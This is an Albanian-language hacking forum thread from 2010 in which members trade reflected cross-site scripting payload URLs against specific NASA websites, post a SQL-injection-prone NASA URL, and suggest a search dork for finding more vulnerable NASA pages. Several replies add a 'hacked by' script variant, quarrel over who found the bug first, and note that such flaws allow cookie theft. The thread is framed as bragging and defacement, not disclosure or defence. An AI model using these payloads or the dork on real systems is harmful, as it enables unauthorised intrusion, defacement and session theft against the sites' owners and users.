[XSS] -- NASA - The Planetary Data Syste - rrjeta.org

X-h4ck · 30-01-2010, 02:15 AM

XSS by MHG !
"The Planetary Data Syste - NASA" :

Web :

Kodi:

http://pds.jpl.nasa.gov/tools/ddlookup/data_dictionary_lookup.cfm?type=%22%3E%3Cscript%3Ealert%28%22XSS%20by%20MHG%22%29%3C/script%3Eelement&q=%22%22%3E/%3E%3Cb%3EXSS%20by%20Malesia%20Hackers%20Group%3C/b%3E

Dr.LinuX · 30-01-2010, 09:00 AM

http://pds.jpl.nasa.gov/tools/ddlook....linux%3C/b%3E

qe bone krejt kush don veq qit script editone

Cito:

?type="><script>alert("hacked by dr.linux")</script>element&q="">/><b>Hacked by dr.linux</b>

edhe ja shtoni qiti linkut

http://pds.jpl.nasa.gov/tools/ddlook...ary_lookup.cfm

pldh

IlyrianWarrioR · 30-01-2010, 12:43 PM

Cito:

Postimi origjinal është bërë nga Dr.LinuX

http://pds.jpl.nasa.gov/tools/ddlook....linux%3C/b%3E

qe bone krejt kush don veq qit script editone

edhe ja shtoni qiti linkut

http://pds.jpl.nasa.gov/tools/ddlook...ary_lookup.cfm

pldh

Ke keqkuptu edhe ti , ktu forja qendron se kush e ben ket send i pari .
Kush e ka zbulu ket XSS bugg .
se pastaj edhe femijet e bejne , njeri mbas tjetrit .
X-HACK nese e ke zbulu ti ket XSS bug mire eshte .
Cyaaa .

X-h4ck · 30-01-2010, 01:17 PM

@Dr.LinuX
- Nuk dua te them gje , niher hajt e meso se cka eshte XSS dhe si veprohet me te , se me dijt se cka eshte kjo skishe thene pldh !

@IlyrianWarrior
- Kaher e kam gjete kete , por vendosa vec tash ta postoj , FLM !

- inurl:.nasa.gov , dhe kerkoni besoj qe edhe ju do gjeni mjaft !

Dr.LinuX · 30-01-2010, 02:48 PM

sa per XSS une di boll sa per veti ekspert nuk jom

amo qikjo qe e ke bo ti nuk osht kurgjo

webfaqet e sulmuara do te thot qka jon bo deface

ishalla e din qka osht deface

IlyrianWarrioR · 30-01-2010, 04:08 PM

Cito:

Postimi origjinal është bërë nga Dr.LinuX

sa per XSS une di boll sa per veti ekspert nuk jom

amo qikjo qe e ke bo ti nuk osht kurgjo

webfaqet e sulmuara do te thot qka jon bo deface

ishalla e din qka osht deface

ka edhe nje vlere kjo

, nuk mundesh me exploit ne secilen faqe . . .

**m2m** · 30-01-2010, 07:39 PM

http://hackingethics.wordpress.com/

IlyrianWarrioR · 30-01-2010, 08:19 PM

Cito:

Postimi origjinal është bërë nga m2m

http://hackingethics.wordpress.com/

e dita qe nuk e ka gjet i pari ket XSS bugg .
I knew it mother****er

X-h4ck · 30-01-2010, 08:27 PM

@m2m , se di se per cfare e dhe kete , vecse ketu kz uebi qe e dashe une eshte ne SQLi jo ne XSS

@IlyriaWarrior , gabimisht je pra !

bL3nDi.b0y · 31-01-2010, 10:03 AM

lol

NASA ka shume vulnerable :s

Example nje SQLi n'NASA-Academy

Kodi:

http://www.nasa-academy.org/db/alumni.php?id=1

XSS

Kodi:

http://sbir.gsfc.nasa.gov/sbirweb/search/searchResults.jsp?st=%22%3E%3Cscript%3Ealert(/lol/)%3C/script%3E

etj etj...

pse mendoni qe eshte kaq veshtire te hackosh NASA-n lol

PS / ato vulnerable nalt nuk jane by me

Cito:

Postimi origjinal është bërë nga Dr.LinuX

http://pds.jpl.nasa.gov/tools/ddlook....linux%3C/b%3E

qe bone krejt kush don veq qit script editone

edhe ja shtoni qiti linkut

http://pds.jpl.nasa.gov/tools/ddlook...ary_lookup.cfm

pldh

Pse thua PLDH? mund te vjedhesh Cookiet

30-01-2010, 02:15 AM	#1
X-h4ck antar me përvoj Antarësuar: 31-07-2009 Vëndndodhja: /dev/null Postime: 458 Reputacioni: 1	[XSS] -- NASA - The Planetary Data Syste XSS by MHG ! "The Planetary Data Syste - NASA" : Web : Kodi: http://pds.jpl.nasa.gov/tools/ddlookup/data_dictionary_lookup.cfm?type=%22%3E%3Cscript%3Ealert%28%22XSS%20by%20MHG%22%29%3C/script%3Eelement&q=%22%22%3E/%3E%3Cb%3EXSS%20by%20Malesia%20Hackers%20Group%3C/b%3E __________________ SQLi *prof.* ./usr/bin

30-01-2010, 01:17 PM	#4
X-h4ck antar me përvoj Antarësuar: 31-07-2009 Vëndndodhja: /dev/null Postime: 458 Reputacioni: 1	@Dr.LinuX - Nuk dua te them gje , niher hajt e meso se cka eshte XSS dhe si veprohet me te , se me dijt se cka eshte kjo skishe thene pldh ! @IlyrianWarrior - Kaher e kam gjete kete , por vendosa vec tash ta postoj , FLM ! - inurl:.nasa.gov , dhe kerkoni besoj qe edhe ju do gjeni mjaft ! __________________ SQLi *prof.* ./usr/bin

30-01-2010, 02:48 PM	#5
Dr.LinuX UshtaR i aSt Antarësuar: 17-06-2006 Postime: 112 Reputacioni: 4	sa per XSS une di boll sa per veti ekspert nuk jom amo qikjo qe e ke bo ti nuk osht kurgjo webfaqet e sulmuara do te thot qka jon bo deface ishalla e din qka osht deface __________________ 11 - Në firmë lejohet 1 imazh, 100 karaktere me tekts të thiesht dhe 100 me BB Code, janë të lejuara 2 rreshta jo më shumë. Kurse të gjitha të tjerat janë të ndaluara si psh: [code] [size] [font] [colour] etj... Në firmë lejohet URL, dhe ju mund ta vendosni web faqen tuaj.

30-01-2010, 07:39 PM	#7
m2m themelues i rrjeta.org Antarësuar: 11-03-2006 Vëndndodhja: Tuz, Mali i Zi Postime: 4,104 Reputacioni: 10	http://hackingethics.wordpress.com/ __________________ Lexo Rregulloren - është rifreshkuar më 10 gusht '09 Kyçuni në grupin e rrjeta.org në facebook duke klikuar këtu. Për të parë nderto.com - Creative Studio kliko këtu. Blej hosting dhe domain duke klikuar këtu. --

30-01-2010, 08:27 PM	#9
X-h4ck antar me përvoj Antarësuar: 31-07-2009 Vëndndodhja: /dev/null Postime: 458 Reputacioni: 1	@m2m , se di se per cfare e dhe kete , vecse ketu kz uebi qe e dashe une eshte ne SQLi jo ne XSS @IlyriaWarrior , gabimisht je pra ! __________________ SQLi *prof.* ./usr/bin

Veglat E Temës
Shfaq Versionin E Printimit Dërgoje me e-mail këtë faqe
Shfaq Modët
Modë Lineare Ndrysho Në Modën Hibride Ndrysho Në Modën Tematuese